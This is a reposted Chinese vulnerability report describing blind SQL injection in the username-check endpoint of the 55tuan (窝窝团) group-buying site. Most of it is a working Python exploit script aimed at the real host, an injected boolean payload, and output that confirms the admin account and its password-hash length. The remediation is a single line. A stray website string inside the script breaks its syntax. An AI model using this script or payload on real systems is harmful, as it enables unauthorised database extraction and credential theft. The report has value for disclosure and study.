网站地图    收藏   

主页 > 后端 > 网站安全 >

窝窝团SQL 注入漏洞及修复方案 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 注册页面 校验email和用户名的地方使用了Ajax POST 数据到服务器端检测,但是过滤仅在客户端进行。使用脚本或者浏览器工具可以轻松绕过。以下为测试代码(python):import httplib, urllibimp...

注册页面 校验email和用户名的地方使用了Ajax POST 数据到服务器端检测,但是过滤仅在客户端进行。使用脚本或者浏览器工具可以轻松绕过。

以下为测试代码(python):
import httplib, urllib

import sys

 

if len(sys.argv) < 2:

    exit(0)

 

headers = {

    "Accept": "*/*",

    "Accept-Language": "zh-CN,zh;q=0.8",

    "Content-Type": "application/x-www-form-urlencoded",

    "Origin": "http://hangzhou.55tuan.com",

    "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",

    "Cookie": "55tuan_uuid=3a0c2fad-6b10-4ade-89e2-15d94ef4647b",

}

params=urllib.urlencode({

    www.2cto.com "username":"adminccc' or (%s)or '4'='3" % (sys.argv[1]),

})

conn = httplib.HTTPConnection('hangzhou.55tuan.com:80')

conn.request("POST", "/check.do?method=checkUsernameRepeatAction", params, headers)

 

response = conn.getresponse()

data = response.read()

print data


从探测过程看,似乎后台对SQL 做了一定的保护,或者是有其他逻辑影响。因此采用'adminccc' or (%s) or '4'='3' 三个或条件来测试。由于adminccc 用户目前没有注册因此第一个条件是不成立的,'4'='3' 也是不成立的。实际测试结果仅为括号内条件
漏洞证明:
运行脚本:
D:\>post_test.py "username='admin'"
true
返回true 说明存在admin用户

D:\>post_test.py "username='admin' and length(password)=31"
false
D:\>post_test.py "username='admin' and length(password)=32"
true
说明密码长度是32字节,估计是MD5 不继续做修改性测试:如通过SQL修改密码

ps: username password 字段纯属猜测得到,没有通过查询系统


修复方案:
建议后台增加SQL语句过滤。

作者:  Matrix

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论